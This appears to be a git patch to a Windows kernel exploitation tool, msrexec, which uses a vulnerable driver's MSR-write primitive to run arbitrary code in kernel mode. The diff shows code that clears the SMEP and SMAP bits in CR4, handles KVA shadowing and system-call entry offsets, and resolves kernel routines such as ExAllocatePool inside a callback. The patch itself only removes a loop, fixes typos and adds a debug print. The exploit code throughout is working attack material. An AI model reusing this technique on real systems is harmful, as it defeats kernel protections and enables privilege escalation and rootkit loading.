From 8c4acb1ba3ec443a56135b4268b28236c2daad93 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 12:28:47 -0800 Subject: [PATCH] works good, removed SwitchToThread... --- main.cpp | 28 +++++++++++++--------------- msrexec.cpp | 5 +++-- 2 files changed, 16 insertions(+), 17 deletions(-) diff --git a/main.cpp b/main.cpp index 53f6c09..01b5e7a 100644 --- a/main.cpp +++ b/main.cpp @@ -27,22 +27,20 @@ int __cdecl main(int argc, char** argv) }; vdm::msrexec_ctx msrexec(_write_msr); - for(auto idx = 0u; idx < 100; ++idx) + msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void { - msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void - { - const auto dbg_print = - reinterpret_cast( - get_kroutine(krnl_base, "DbgPrint")); - - const auto ex_alloc_pool = - reinterpret_cast( - get_kroutine(krnl_base, "ExAllocatePool")); - - dbg_print("> allocated pool -> 0x%p\n", ex_alloc_pool(NULL, 0x1000)); - dbg_print("> cr4 -> 0x%p\n", __readcr4()); - }); - } + const auto dbg_print = + reinterpret_cast( + get_kroutine(krnl_base, "DbgPrint")); + + const auto ex_alloc_pool = + reinterpret_cast( + get_kroutine(krnl_base, "ExAllocatePool")); + + dbg_print("> allocated pool -> 0x%p\n", ex_alloc_pool(NULL, 0x1000)); + dbg_print("> cr4 -> 0x%p\n", __readcr4()); + dbg_print("> hello world!\n"); + }); const auto unload_result = vdm::unload_drv(drv_handle, drv_key); diff --git a/msrexec.cpp b/msrexec.cpp index b5e5b4e..a8b5cb0 100644 --- a/msrexec.cpp +++ b/msrexec.cpp @@ -53,7 +53,7 @@ namespace vdm m_smep_off.flags = cr4_value.flags; m_smep_off.smep_enable = false; - m_smep_off.smap_enable = false; // newer spus have this on... + m_smep_off.smap_enable = false; // newer cpus have this on... // WARNING: some virtual machines dont have SMEP... // my VMWare VM doesnt... nor does my Virtual Box VM... @@ -140,7 +140,8 @@ namespace vdm m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); - // handle KVA shadowing... if KVA shadowing is enabled LSTAR will point at KiSystemCall64Shadow... + // handle KVA shadowing... if KVA shadowing is + // enabled LSTAR will point at KiSystemCall64Shadow... SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; // if SystemKernelVaShadowInformation is not a valid class just